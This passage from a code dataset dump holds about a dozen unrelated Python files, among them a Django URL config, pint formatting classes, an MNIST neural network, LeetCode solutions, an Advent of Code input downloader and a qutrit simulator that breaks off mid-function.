self.lstm = nn.LSTM(input_size = self.input_dim,\n hidden_size = hidden_dim // 2,\n bias = True,\n bidirectional = True,\n num_layers = 1,\n batch_first = True\n )\n # The linear layer that maps from hidden state space to tag space\n self.hidden2tag = nn.Linear(hidden_dim, 1)\n\n # def init_hidden(self):\n # h0_tensor = torch.zero(2, self.batch_size, self.hidden_dim // 2)\n # c0_tensor = torch.zero(2, self.batch_size, self.hidden_dim // 2)\n # if self.use_gpu:\n # h0_tensor = h0_tensor.cuda()\n # c0_tensor = c0_tensor.cuda()\n # return (autograd.Variable(h0_tensor),\n # autograd.Variable(c0_tensor))\n\n def forward(self, sentences):\n lstm_out, self.hidden = self.lstm(sentences)\n score = self.hidden2tag(lstm_out)\n last_score = F.sigmoid(score)\n return last_score","repo_name":"allanj/physics","sub_path":"cont_bilstm.py","file_name":"cont_bilstm.py","file_ext":"py","file_size_in_byte":1571,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"74759341541","text":"from django.conf.urls import url, include\nfrom rest_framework.urlpatterns import format_suffix_patterns\nfrom server import views\n\n# app_name = 'refs'\nurlpatterns = format_suffix_patterns([\n url(r'^$', views.api_root),\n url(r'^comment/$',\n views.CommentList.as_view(),\n name='comment-list'),\n url(r'^comment/(?P[0-9]+)/$',\n views.CommentDetail.as_view(),\n name='comment-detail'),\n url(r'^dietrestriction/$',\n views.DietRestrictionList.as_view(),\n name='dietrestriction-list'),\n url(r'^dietrestriction/(?P[0-9]+)/$',\n views.DietRestrictionDetail.as_view(),\n name='dietrestriction-detail'),\n url(r'^dietsuggestion/$',\n views.DietSuggestionList.as_view(),\n name='dietsuggestion-list'),\n url(r'^dietsuggestion/(?P[0-9]+)/$',\n views.DietSuggestionDetail.as_view(),\n name='dietsuggestion-detail'),\n url(r'^doctor/$',\n views.DoctorList.as_view(),\n name='doctor-list'),\n url(r'^doctor/(?P[0-9]+)/$',\n views.DoctorDetail.as_view(),\n name='doctor-detail'),\n url(r'^doctorpatient/$',\n views.DoctorPatientList.as_view(),\n name='doctorpatient-list'),\n url(r'^doctorpatient/(?P[0-9]+)/$',\n views.DoctorPatientDetail.as_view(),\n name='doctorpatient-detail'),\n url(r'^document/$',\n views.DocumentList.as_view(),\n name='document-list'),\n url(r'^document/(?P[0-9]+)/$',\n views.DocumentDetail.as_view(),\n name='document-detail'),\n url(r'^food/$',\n views.FoodList.as_view(),\n name='food-list'),\n url(r'^food/(?P[0-9]+)/$',\n views.FoodDetail.as_view(),\n name='food-detail'),\n url(r'^medication/$',\n views.MedicationList.as_view(),\n name='medication-list'),\n url(r'^medication/(?P[0-9]+)/$',\n views.MedicationDetail.as_view(),\n name='medication-detail'),\n url(r'^patient/$',\n views.PatientList.as_view(),\n name='patient-list'),\n url(r'^patient/(?P[0-9]+)/',\n views.PatientDetail.as_view(),\n name='patient-detail'),\n url(r'^symptom/$',\n views.SymptomList.as_view(),\n name='symptom-list'),\n url(r'^symptom/(?P[0-9]+)/',\n views.SymptomDetail.as_view(),\n name='symptom-detail'),\n url(r'^testing/$',\n views.TestingList.as_view(),\n name='testing-list'),\n url(r'^testing/(?P[0-9]+)/',\n views.TestingDetail.as_view(),\n name='testing-detail'),\n url(r'^users/$',\n views.UserList.as_view(),\n name='user-list'),\n url(r'^users/(?P[0-9]+)/$',\n views.UserDetail.as_view(),\n name='user-detail'),\n url(r'^api-auth/', include('rest_framework.urls', namespace='rest_framework')),\n])\n\n# Login and logout views for the browsable API\nurlpatterns += [\n url(r'api-auth/', include('rest_framework.urls', namespace='rest_framework'))\n]\n","repo_name":"cardy31/TriColourCare","sub_path":"server/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2952,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"26886916521","text":"from __future__ import annotations\n\nimport re\nfrom typing import Any, Generic\n\nfrom ...compat import babel_parse, ndarray, np\nfrom ...formatting import (\n _pretty_fmt_exponent,\n extract_custom_flags,\n format_unit,\n ndarray_to_latex,\n remove_custom_flags,\n siunitx_format_unit,\n split_format,\n)\nfrom ...util import UnitsContainer, iterable\n\nfrom ..plain import PlainQuantity, PlainUnit, MagnitudeT\n\n\nclass FormattingQuantity(Generic[MagnitudeT], PlainQuantity[MagnitudeT]):\n _exp_pattern = re.compile(r\"([0-9]\\.?[0-9]*)e(-?)\\+?0*([0-9]+)\")\n\n def __format__(self, spec: str) -> str:\n if self._REGISTRY.fmt_locale is not None:\n return self.format_babel(spec)\n\n mspec, uspec = split_format(\n spec, self.default_format, self._REGISTRY.separate_format_defaults\n )\n\n # If Compact is selected, do it at the beginning\n if \"#\" in spec:\n # TODO: don't replace '#'\n mspec = mspec.replace(\"#\", \"\")\n uspec = uspec.replace(\"#\", \"\")\n obj = self.to_compact()\n else:\n obj = self\n\n if \"L\" in uspec:\n allf = plain_allf = r\"{}\\ {}\"\n elif \"H\" in uspec:\n allf = plain_allf = \"{} {}\"\n if iterable(obj.magnitude):\n # Use HTML table instead of plain text template for array-likes\n allf = (\n \"\"\n \"\"\n \"\"\n \"\"\n \"
    Magnitude{}
    Units{}
    \"\n )\n else:\n allf = plain_allf = \"{} {}\"\n\n if \"Lx\" in uspec:\n # the LaTeX siunitx code\n # TODO: add support for extracting options\n opts = \"\"\n ustr = siunitx_format_unit(obj.units._units, obj._REGISTRY)\n allf = r\"\\SI[%s]{{{}}}{{{}}}\" % opts\n else:\n # Hand off to unit formatting\n # TODO: only use `uspec` after completing the deprecation cycle\n ustr = format(obj.units, mspec + uspec)\n\n # mspec = remove_custom_flags(spec)\n if \"H\" in uspec:\n # HTML formatting\n if hasattr(obj.magnitude, \"_repr_html_\"):\n # If magnitude has an HTML repr, nest it within Pint's\n mstr = obj.magnitude._repr_html_()\n else:\n if isinstance(self.magnitude, ndarray):\n # Use custom ndarray text formatting with monospace font\n formatter = f\"{{:{mspec}}}\"\n # Need to override for scalars, which are detected as iterable,\n # and don't respond to printoptions.\n if self.magnitude.ndim == 0:\n allf = plain_allf = \"{} {}\"\n mstr = formatter.format(obj.magnitude)\n else:\n with np.printoptions(\n formatter={\"float_kind\": formatter.format}\n ):\n mstr = (\n \"
    \"\n                                + format(obj.magnitude).replace(\"\\n\", \"
    \")\n + \"
    \"\n )\n elif not iterable(obj.magnitude):\n # Use plain text for scalars\n mstr = format(obj.magnitude, mspec)\n else:\n # Use monospace font for other array-likes\n mstr = (\n \"
    \"\n                        + format(obj.magnitude, mspec).replace(\"\\n\", \"
    \")\n + \"
    \"\n )\n elif isinstance(self.magnitude, ndarray):\n if \"L\" in uspec:\n # Use ndarray LaTeX special formatting\n mstr = ndarray_to_latex(obj.magnitude, mspec)\n else:\n # Use custom ndarray text formatting--need to handle scalars differently\n # since they don't respond to printoptions\n formatter = f\"{{:{mspec}}}\"\n if obj.magnitude.ndim == 0:\n mstr = formatter.format(obj.magnitude)\n else:\n with np.printoptions(formatter={\"float_kind\": formatter.format}):\n mstr = format(obj.magnitude).replace(\"\\n\", \"\")\n else:\n mstr = format(obj.magnitude, mspec).replace(\"\\n\", \"\")\n\n if \"L\" in uspec and \"Lx\" not in uspec:\n mstr = self._exp_pattern.sub(r\"\\1\\\\times 10^{\\2\\3}\", mstr)\n elif \"H\" in uspec or \"P\" in uspec:\n m = self._exp_pattern.match(mstr)\n _exp_formatter = (\n _pretty_fmt_exponent if \"P\" in uspec else lambda s: f\"{s}\"\n )\n if m:\n exp = int(m.group(2) + m.group(3))\n mstr = self._exp_pattern.sub(r\"\\1×10\" + _exp_formatter(exp), mstr)\n\n if allf == plain_allf and ustr.startswith(\"1 /\"):\n # Write e.g. \"3 / s\" instead of \"3 1 / s\"\n ustr = ustr[2:]\n return allf.format(mstr, ustr).strip()\n\n def _repr_pretty_(self, p, cycle):\n if cycle:\n super()._repr_pretty_(p, cycle)\n else:\n p.pretty(self.magnitude)\n p.text(\" \")\n p.pretty(self.units)\n\n def format_babel(self, spec: str = \"\", **kwspec: Any) -> str:\n spec = spec or self.default_format\n\n # standard cases\n if \"#\" in spec:\n spec = spec.replace(\"#\", \"\")\n obj = self.to_compact()\n else:\n obj = self\n kwspec = kwspec.copy()\n if \"length\" in kwspec:\n kwspec[\"babel_length\"] = kwspec.pop(\"length\")\n\n loc = kwspec.get(\"locale\", self._REGISTRY.fmt_locale)\n if loc is None:\n raise ValueError(\"Provide a `locale` value to localize translation.\")\n\n kwspec[\"locale\"] = babel_parse(loc)\n kwspec[\"babel_plural_form\"] = kwspec[\"locale\"].plural_form(obj.magnitude)\n return \"{} {}\".format(\n format(obj.magnitude, remove_custom_flags(spec)),\n obj.units.format_babel(spec, **kwspec),\n ).replace(\"\\n\", \"\")\n\n def __str__(self) -> str:\n if self._REGISTRY.fmt_locale is not None:\n return self.format_babel()\n\n return format(self)\n\n\nclass FormattingUnit(PlainUnit):\n def __str__(self):\n return format(self)\n\n def __format__(self, spec) -> str:\n _, uspec = split_format(\n spec, self.default_format, self._REGISTRY.separate_format_defaults\n )\n if \"~\" in uspec:\n if not self._units:\n return \"\"\n units = UnitsContainer(\n {\n self._REGISTRY._get_symbol(key): value\n for key, value in self._units.items()\n }\n )\n uspec = uspec.replace(\"~\", \"\")\n else:\n units = self._units\n\n return format_unit(units, uspec, registry=self._REGISTRY)\n\n def format_babel(self, spec=\"\", locale=None, **kwspec: Any) -> str:\n spec = spec or extract_custom_flags(self.default_format)\n\n if \"~\" in spec:\n if self.dimensionless:\n return \"\"\n units = UnitsContainer(\n {\n self._REGISTRY._get_symbol(key): value\n for key, value in self._units.items()\n }\n )\n spec = spec.replace(\"~\", \"\")\n else:\n units = self._units\n\n locale = self._REGISTRY.fmt_locale if locale is None else locale\n\n if locale is None:\n raise ValueError(\"Provide a `locale` value to localize translation.\")\n else:\n kwspec[\"locale\"] = babel_parse(locale)\n\n return units.format_babel(spec, registry=self._REGISTRY, **kwspec)\n","repo_name":"hgrecco/pint","sub_path":"pint/facets/formatting/objects.py","file_name":"objects.py","file_ext":"py","file_size_in_byte":7984,"program_lang":"python","lang":"en","doc_type":"code","stars":2124,"dataset":"github-code","pt":"35"} +{"seq_id":"9999887498","text":"#asi se realiza el proceso\r\nimport cv2\r\nfrom proceso import*\r\n##Proceso de ver si la repisa esta bien posicionada\r\nbusqueda = True\r\nwhile busqueda:\r\n img = cv2.imread('./imagenes/Picture 1.jpg') #Imagen de baja calidad\r\n img_busqueda = cv2.resize(img,(320,240), interpolation = cv2.INTER_AREA)\r\n mensaje, busqueda = busquedaRepisa(img_busqueda)\r\n print(mensaje)\r\nimg = cv2.imread('./imagenes/Picture 1.jpg') #Imagen de baja calidad\r\nimg1 = cv2.resize(img, (1280,720), interpolation = cv2.INTER_AREA)\r\nobjeto = 'manzana verde' #String del objeto deseado\r\n#----------------------------falta probar tomate y splash-----------------------\r\n#Proceso de buscar el objerp\r\nmensaje = busquedaObjeto(img1, objeto)\r\nprint(mensaje)\r\ncv2.imshow('imagen', img1)\r\ncv2.waitKey(0)\r\ncv2.destroyAllWindows()\r\n","repo_name":"SantiagoArBo/Vision-computacional","sub_path":"Completo.py","file_name":"Completo.py","file_ext":"py","file_size_in_byte":803,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"12978177455","text":"# T: O(n)\n# S: O(n)\n\ndef caesarCipherEncryptor(string, key):\n result = ''\n alphabet = 'abcdefghijklmnopqrstuvwxyz'\n for c in string.lower():\n idx = (alphabet.index(c) + key) % len(alphabet)\n result += alphabet[idx]\n\n return result","repo_name":"syzdemonhunter/Coding_Exercises","sub_path":"AlgoExpert/caesar_cipher.py","file_name":"caesar_cipher.py","file_ext":"py","file_size_in_byte":256,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"} +{"seq_id":"26501818896","text":"import re\n\nimport requests\nimport pandas as pd\n\n\n# Article in March 2022\n# Links pulled from https://www.straitstimes.com/singapore/more-than-80-of-sporeans-surveyed-believe-death-penalty-has-deterred-offenders-shanmugam?utm_source=Telegram&utm_medium=Social&utm_campaign=STTG\ndata_links = {'kidnapping': 'https://datawrapper.dwcdn.net/ReCdz/1/dataset.csv',\n 'firearm': 'https://datawrapper.dwcdn.net/WOLys/1/dataset.csv'}\n\n\nfor crime, link in data_links.items():\n resp = requests.get(url=link)\n rows = resp.text.split('\\n')\n dat = [row.split('\\t') for row in rows]\n df = pd.DataFrame(dat, columns=['year', 'cases'])\n df.to_csv('data/scraped_straitstimes_{}.csv'.format(crime))\n","repo_name":"leewtai/kontinental","sub_path":"proj/get_straitstimes_data.py","file_name":"get_straitstimes_data.py","file_ext":"py","file_size_in_byte":706,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"70207702822","text":"import sys\nimport settings\nimport requests\nfrom pathlib import Path\n\n\ndef clear_lines(amount):\n for _ in range(amount):\n sys.stdout.write(\"\\x1b[1A\") # cursor up one line\n sys.stdout.write(\"\\x1b[2K\") # delete the last line\n\n\ndef validate():\n if len(sys.argv) != 2:\n print(\"Missing argument 'Day' eg: python main 12\")\n exit()\n if sys.argv[1].isdigit() and 0 < int(sys.argv[1]) <= 25:\n settings.day = sys.argv[1]\n else:\n print(\"Incorrect argument 'Day': Must be a number between 1-25\")\n exit()\n\n\ndef save_sample_file(day, year):\n Path(f\"inputs\").mkdir(exist_ok=True)\n Path(f\"inputs/year{year}\").mkdir(exist_ok=True)\n Path(f\"inputs/year{year}/day{day}\").mkdir(exist_ok=True)\n\n filename = f\"inputs/year{year}/day{day}/sample.txt\"\n if not Path(filename).is_file():\n print(\"Enter sample data:\")\n lines = []\n while True:\n line = input()\n if line:\n lines.append(line)\n else:\n clear_lines(len(lines) + 2)\n break\n sample_data = '\\n'.join(lines)\n\n with open(filename, \"w\") as file:\n file.write(sample_data)\n print(f\"├─ 🔽 Sample File: saved\")\n else:\n print(f\"├─ 💾 Sample File: in cache.\")\n\n\ndef save_input_file(day, year, session):\n Path(\"inputs\").mkdir(exist_ok=True)\n Path(f\"inputs/year{year}\").mkdir(exist_ok=True)\n Path(f\"inputs/year{year}/day{day}\").mkdir(exist_ok=True)\n\n filename = f\"inputs/year{year}/day{day}/input.txt\"\n if not Path(filename).is_file():\n response = requests.get(\n f\"https://adventofcode.com/{year}/day/{day}/input\",\n cookies={\"session\": session})\n if not response.ok:\n if response.status_code == 404:\n raise FileNotFoundError(response.text + response.url)\n raise RuntimeError(f\"Request failed, code: {response.status_code}, message: {response.content}\")\n else:\n with open(filename, \"w\") as file:\n file.write(response.text[:-1])\n print(f\"├─ 🔽 Input File : downloaded\")\n else:\n print(f\"├─ 💾 Input File : in cache.\")\n\n\ndef generate_solution_file(day, year):\n Path(f\"solutions\").mkdir(exist_ok=True)\n Path(f\"solutions/year{year}\").mkdir(exist_ok=True)\n Path(f\"solutions/year{year}/day{day}\").mkdir(exist_ok=True)\n\n with open(\"template.py\", \"r+\") as f:\n template = f.read().replace('Day x', f'Day {day}')\n with open(f\"solutions/year{year}/day{day}/solution.py\", \"x\") as s:\n s.write(template)\n\n\nif __name__ == '__main__':\n validate()\n\n print(\"│ Generating files for puzzle {}/{}\".format(settings.day, settings.year))\n save_sample_file(settings.day, settings.year)\n save_input_file(settings.day, settings.year, settings.session)\n generate_solution_file(settings.day, settings.year)\n","repo_name":"Brogie/AdventOfCode2022","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2939,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"38427616511","text":"\"\"\"\nhttps://leetcode-cn.com/problems/kLl5u1/\n\n给定一个已按照 升序排列  的整数数组 numbers ,请你从数组中找出两个数满足相加之和等于目标数 target 。\n\n函数应该以长度为 2 的整数数组的形式返回这两个数的下标值。numbers 的下标 从 0 开始计数 ,所以答案数组应当满足 0 <= answer[0] < answer[1] < numbers.length 。\n\n假设数组中存在且只存在一对符合条件的数字,同时一个数字不能使用两次。\n\n示例 1:\n 输入:numbers = [1,2,4,6,10], target = 8\n 输出:[1,3]\n 解释:2 与 6 之和等于目标数 8 。因此 index1 = 1, index2 = 3 。\n\n示例 2:\n 输入:numbers = [2,3,4], target = 6\n 输出:[0,2]\n\n示例 3:\n 输入:numbers = [-1,0], target = -1\n 输出:[0,1]\n\n提示:\n 2 <= numbers.length <= 3 * 10^4\n -1000 <= numbers[i] <= 1000\n numbers 按 递增顺序 排列\n -1000 <= target <= 1000\n 仅存在一个有效答案\n \n注意:本题与主站 167 题相似(下标起点不同):https://leetcode-cn.com/problems/two-sum-ii-input-array-is-sorted/\n\n\"\"\"\nfrom typing import List\n\n\"\"\" 二分查找\"\"\"\nclass Solution:\n def twoSum(self, numbers: List[int], target: int) -> List[int]:\n for i in range(len(numbers)):\n low = i + 1\n high = len(numbers) - 1\n while low <= high:\n mid = (low + high) // 2 # 可以首先固定第一个数\n if numbers[mid] == target - numbers[i]: # 然后寻找第二个数,第二个数等于目标值减去第一个数的差\n return [i, mid]\n elif numbers[mid] > target - numbers[i]:\n high = mid - 1\n else:\n low = mid + 1\n return [-1, -1]\n\n\"\"\" 双指针\"\"\"\nclass Solution:\n def twoSum(self, numbers: List[int], target: int) -> List[int]:\n low, high = 0, len(numbers) - 1 # 初始时两个指针分别指向第一个元素位置和最后一个元素的位置\n while low < high:\n total = numbers[low] + numbers[high] # 每次计算两个指针指向的两个元素之和\n if total == target: # 如果两个元素之和等于目标值\n return [low, high] # 则发现了唯一解\n elif total < target: # 如果两个元素之和小于目标值\n low += 1 # 则将左侧指针右移一位\n else: # 如果两个元素之和大于目标值\n high -= 1 # 则将右侧指针左移一位\n return [-1, -1]\n\nif __name__ == \"__main__\":\n numbers = [2,7,11,15]\n target = 9\n sol = Solution()\n result = sol.twoSum(numbers, target)\n print(result)","repo_name":"jasonmayday/LeetCode","sub_path":"leetcode_剑指 Offer/1_easy/剑指 Offer II 006. 排序数组中两个数字之和.py","file_name":"剑指 Offer II 006. 排序数组中两个数字之和.py","file_ext":"py","file_size_in_byte":2895,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"} +{"seq_id":"35536256531","text":"__author__ = 'maurizio'\n\n\ndef adjust(attempt, nacc, dr, half_box_length, attemptp, naccp):\n \"\"\"\n adjusts maximum displacement such that 50% of the\n moves will be accepted\n \"\"\"\n if (attempt == 0) or (attemptp > attempt):\n naccp = nacc\n attemptp = attempt\n else:\n frac = float(nacc-naccp)/float(attempt-attemptp)\n dro = dr\n dr = dr*abs(frac/0.50)\n # ---limit the change:\n if dr/dro > 1.5:\n dr = dro*1.5\n if dr/dro < 0.5:\n dr = dro*0.5\n if dr > half_box_length/2.0:\n dr = half_box_length/2.0\n naccp = nacc\n attemptp = attempt\n return naccp, attemptp, dr\n","repo_name":"gmlaudone/GCMC-LennardJones","sub_path":"adjust.py","file_name":"adjust.py","file_ext":"py","file_size_in_byte":682,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"874492869","text":"import numpy as np\nfrom pudb import set_trace as st\nfrom scipy.special import expit\nimport matplotlib.pyplot as plt\n\nclass myANN(object):\n def __init__(self, nNeurons, learning_rate):\n # Check if we got a list of #Neurons in each layer\n if len(nNeurons) < 3:\n raise ValueError('Network needs at least 3 layers!')\n\n self.learning_rate = learning_rate\n\n # Generate a list of weight matrixes, initializing them with random(uniform) \n self.W = []\n for N1, N2 in zip(nNeurons[:-1], nNeurons[1:]):\n self.W.append(np.random.normal(0.0, pow(N1, -0.5), (N2, N1)))\n\n\n def input_process(self, inputs, labels=True):\n \"\"\"\n Return a list of pairs of input data (input, label)\n If there is no label (i.e query than the label is set to None)\n \"\"\"\n if not labels:\n labels = [None]*len(inputs)\n inputs = zip(inputs, labels)\n\n results = []\n for input, label in inputs:\n # All inputs are row vectors\n input = input.flatten()\n input = np.reshape(input, (1, len(input)))\n try:\n label = np.reshape(label, (1, len(label)))\n except TypeError:\n label = None\n results.append((input, label))\n \n return results\n\n\n def _backpropagation(self, label, layer_results):\n error = np.transpose(label - layer_results[-1])\n dWs = [None]*len(self.W)\n # Iterate from back to front\n for l in list(range(len(self.W)))[::-1]:\n W = self.W[l]\n output = layer_results[l]\n\n # Calculate the weight update\n S = 1.0 / (1.0 + np.exp(-np.dot(W, output.T)))\n\n # Update weights based on the scaled prediction error of this layer\n dW = np.dot(error * S*(1.0-S), output)\n W += self.learning_rate * dW\n dWs[l] = dW\n\n # Propagate the error making it the output of the previous layer\n error = np.dot(W.T, error)\n \n return dWs\n \n\n\n def train(self, inputs):\n dWs = []\n for input, label in inputs:\n prediction = self._inference(input, full_output=True)\n dWs.append(self._backpropagation(label, prediction[1]))\n return dWs\n \n\n def _inference(self, input, full_output=False):\n S = input\n # Include the 'output' of the input nodes\n outs = [S]\n for W in self.W:\n #S = np.dot(S, W.T)\n # Process row vectors\n S = np.dot(S, W.T)\n #S = scipy.special.expit(S) \n S = 1.0 / (1.0 + np.exp(-S))\n outs.append(S)\n \n if full_output:\n return S, outs\n else:\n return S\n\n def query(self, inputs, full_output=False):\n prediction = []\n for input, label in inputs:\n prediction.append(self._inference(input, full_output=full_output)) \n return prediction\n\ndef mnist(path):\n \"\"\"\n Load the specified mnist dataset in its csv format returning a tuple containing (label, np.array(28,28))\n \"\"\"\n with open(path, 'r') as f:\n for line in f:\n data = line.strip().split(',')\n\n # Label is a vector with one element per class\n label = [0.01] * 10\n label[int(data[0])] = 0.99\n\n # The data are images of 28x28 pixels\n image_array = np.asfarray(data[1:]).reshape((28, 28))\n # Normalize all values between [0.01, 0.99]\n #image_array = ((image_array) / 255.0 * 0.98) + 0.01\n image_array = ((image_array) / 255.0 * 0.98) + 0.01\n\n #plt.imshow(image_array, cmap='Greys', interpolation='None')\n yield (image_array, label)\n\n#mnist_test_data = mnist('data/mnist_test_10.csv')\n#t1 = next(mnist_test_data)\nNN = myANN([784, 100, 10], learning_rate=0.1)\n\n# Training\nprint('Loading training data set ...\\n')\ntraining_data = mnist('./data/mnist_train.csv')\n#training_data = mnist('./data/mnist_test_10.csv')\ntd_all = [x for x in training_data]\ntraining_data = NN.input_process(td_all)\nfor idx, td in enumerate(training_data):\n dWs = NN.train([td])\n change = [dW.sum() for dW in dWs[0]]\n print(\"Training %d dW = %s\" % (idx, change))\n\n# Testing\nprint('Loading test data set ...\\n')\ndata = mnist('./data/mnist_test.csv')\n#training_data = mnist('./data/mnist_test_10.csv')\nd_all = [x for x in data]\npro_data = NN.input_process(d_all)\nconfusion_matrix = np.zeros((10,10))\nfor idx, td in enumerate(pro_data):\n image, label = td\n S = NN._inference(image)\n p = np.argmax(S)\n r = np.argmax(label)\n confusion_matrix[p, r] += 1\n if p == r:\n print(\"[%d] Success %d == %d\" % (idx, p, r))\n else:\n print(\"[%d] Failed %d != %d\" % (idx, p, r))\n\ncorrect = confusion_matrix.diagonal().sum()\nalldata = confusion_matrix.sum()\nprint(confusion_matrix)\nprint('\\nCorrect classified (%d/%d), Acc %f' % (correct, alldata, correct/alldata))\n\n","repo_name":"mapa17/myANN","sub_path":"myANN.py","file_name":"myANN.py","file_ext":"py","file_size_in_byte":5017,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"32885901781","text":"import datetime\nimport psutil\n\n#######################################################################\n# Constants\n#######################################################################\n\n# Job running modes\nDUMMYMP_GENEROUS = -1\nDUMMYMP_NORMAL = -2\nDUMMYMP_AGGRESSIVE = -3\nDUMMYMP_EXTREME = -4\nDUMMYMP_NUCLEAR = -9999\n\n# CPU Thresholds\nDUMMYMP_THRESHOLD = {\n DUMMYMP_GENEROUS : 20,\n DUMMYMP_NORMAL : 30,\n DUMMYMP_AGGRESSIVE : 50,\n DUMMYMP_EXTREME : 80,\n DUMMYMP_NUCLEAR : float(\"inf\"),\n }\n\n# CPU Usage Measurement Intervals\nDUMMYMP_MINTERVAL = {\n DUMMYMP_GENEROUS : 0.5,\n DUMMYMP_NORMAL : 0.35,\n DUMMYMP_AGGRESSIVE : 0.2,\n DUMMYMP_EXTREME : 0.1,\n DUMMYMP_NUCLEAR : 0.1,\n }\n\n# CPU Usage Measurement Cycles\nDUMMYMP_MCYCLE = {\n DUMMYMP_GENEROUS : 3,\n DUMMYMP_NORMAL : 2,\n DUMMYMP_AGGRESSIVE : 2,\n DUMMYMP_EXTREME : 1,\n DUMMYMP_NUCLEAR : 0,\n }\n\nDUMMYMP_MREFRESH = {\n DUMMYMP_GENEROUS : 5,\n DUMMYMP_NORMAL : 10,\n DUMMYMP_AGGRESSIVE : 20,\n DUMMYMP_EXTREME : 30,\n DUMMYMP_NUCLEAR : False,\n }\n\n# String versions of modes\nDUMMYMP_STRING = {\n DUMMYMP_GENEROUS : \"Generous\",\n DUMMYMP_NORMAL : \"Normal\",\n DUMMYMP_AGGRESSIVE : \"Aggressive\",\n DUMMYMP_EXTREME : \"Extreme\",\n DUMMYMP_NUCLEAR : \"Nuclear\",\n }\n\n# Queue IDs\nDUMMYMP_LOG_ID = 1\nDUMMYMP_RET_ID = 2\n\n#######################################################################\n# State Variables\n#######################################################################\n\n# Queues, processes, process queue, returns\nglobal dummymp_queues, dummymp_procs, dummymp_start_procs, dummymp_rets\ndummymp_queues = []\ndummymp_procs = []\ndummymp_start_procs = []\ndummymp_rets = {}\n\n# Counters for processes\nglobal total_procs, total_completed, total_running\ntotal_procs = 0\ntotal_completed = 0\ntotal_running = 0\n\n# Max processes configuration\nglobal max_processes\nmax_processes = 0\n\n# Current job running mode\nglobal DUMMYMP_MODE\nDUMMYMP_MODE = DUMMYMP_NORMAL\n\n# CPU availability, and checking interval threshold\nglobal CPU_AVAIL, LAST_CPU_CHECK, CPU_CHECK_TIMEDELTA_THRESHOLD\nCPU_AVAIL = psutil.cpu_count()\nLAST_CPU_CHECK = datetime.datetime(1900, 1, 1)\n\n# If not NUCLEAR, make a threshold. If NUCLEAR, don't.\nif DUMMYMP_MODE != DUMMYMP_NUCLEAR:\n CPU_CHECK_TIMEDELTA_THRESHOLD = datetime.timedelta(seconds=DUMMYMP_MREFRESH[DUMMYMP_MODE])\nelse:\n CPU_CHECK_TIMEDELTA_THRESHOLD = None\n\n# Process callbacks\nglobal PROCESS_START_CALLBACK, PROCESS_END_CALLBACK\nPROCESS_START_CALLBACK = None\nPROCESS_END_CALLBACK = None\n","repo_name":"will-mccarty/spatial_plots","sub_path":"python/dummymp/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":3209,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"71891086180","text":"import math\nimport random\n\ndef tri(n, width=1):\n '''For now only 0 and positive integers only'''\n digit_string = \"\"\n while n > 0:\n digit_string = str(n%3) + digit_string\n n = n//3\n if width and len(digit_string) < width:\n padding = \"0\" * (width - len(digit_string))\n return padding + digit_string\n return digit_string\n\ndef insert(i, qutrit, value):\n modulus = 3**qutrit\n back = i % modulus\n front = 3 * (i - back)\n return front + value*modulus + back\n\ndef permutation_matrix(permutation_vector):\n matrix = []\n for i in range(3):\n row = [0 for _ in range(3)]\n row[permutation_vector[i]] = 1\n matrix.append(row)\n return matrix\n\nclass StateVector:\n def __init__(self, qutrits):\n '''Initialize a circuit with `qubits` qubits'''\n self.n = qutrits\n self.sv = [0+0j for _ in range(3**self.n)]\n self.sv[0] = 1+0j\n\n def set_state(self, state):\n '''Set the state of the whole system. `state` is an integer. The system will be\n set to the state where there is a 100% chance of observing the state labeled by\n the trinary representation of `state`. For example, in a 1 qutrit state vector\n calling set_state(1) would result in a 100% chance of observing |1>'''\n self.sv = [0+0j for _ in range(3**self.n)]\n self.sv[state] = 1+0j\n\n def single_qutrit_gate(self, qutrit, matrix):\n '''Perform a single qutrit gate defined by the 3x3 unitary matrix `matrix` on\n qutrit `qutrit`'''\n for i in range(3**(self.n - 1)):\n p = insert(i, qutrit, 0)\n q = insert(i, qutrit, 1)\n r = insert(i, qutrit, 2)\n temp = [self.sv[p], self.sv[q], self.sv[r]]\n self.sv[p] = matrix[0][0]*temp[0] + matrix[0][1]*temp[1] + matrix[0][2]*temp[2]\n self.sv[q] = matrix[1][0]*temp[0] + matrix[1][1]*temp[1] + matrix[1][2]*temp[2]\n self.sv[r] = matrix[2][0]*temp[0] + matrix[2][1]*temp[1] + matrix[2][2]*temp[2]\n\n def two_qutrit_gate(self, q1, q2, matrix):\n '''Perform a two qutrit gate on the qutrits `q1` and `q2` where the gate is\n defined by the 9x9 unitary matrix `matrix`'''\n for i in range(3**(self.n - 2)):\n qmax = max(q1, q2)\n qmin = min(q1, q2)\n template = insert(insert(i, qmin, 0), qmax, 0)\n p = [0 for _ in range(9)]\n temp = [0 for _ in range(9)]\n for j in range(3):\n for k in range(3):\n p[3*j + k] = template + j*3**q1 + k*3**q2\n temp[3*j + k] = self.sv[p[3*j + k]]\n for j in range(9):\n self.sv[p[j]] = 0 + 0j\n for k in range(9):\n self.sv[p[j]] += matrix[j][k]*temp[k]\n\n def measure(self, qutrit):\n '''Perform a measurement of `qutrit`, and return the measured value (which will\n be a member of the set {0, 1, 2})''' \n prob0 = 0\n prob1 = 0\n for i in range(3**(self.n - 1)):\n p = insert(i, qutrit, 0)\n q = insert(i, qutrit, 1)\n prob0 += self.sv[p] * self.sv[p].conjugate()\n prob1 += self.sv[q] * self.sv[q].conjugate()\n prob0 = prob0.real\n prob1 = prob1.real\n prob2 = 1 - prob0 - prob1\n if prob0 == 0 and prob1 == 0:\n return 2\n r = random.random()\n if r < prob0:\n state = 0\n prob = prob0\n elif r < prob0 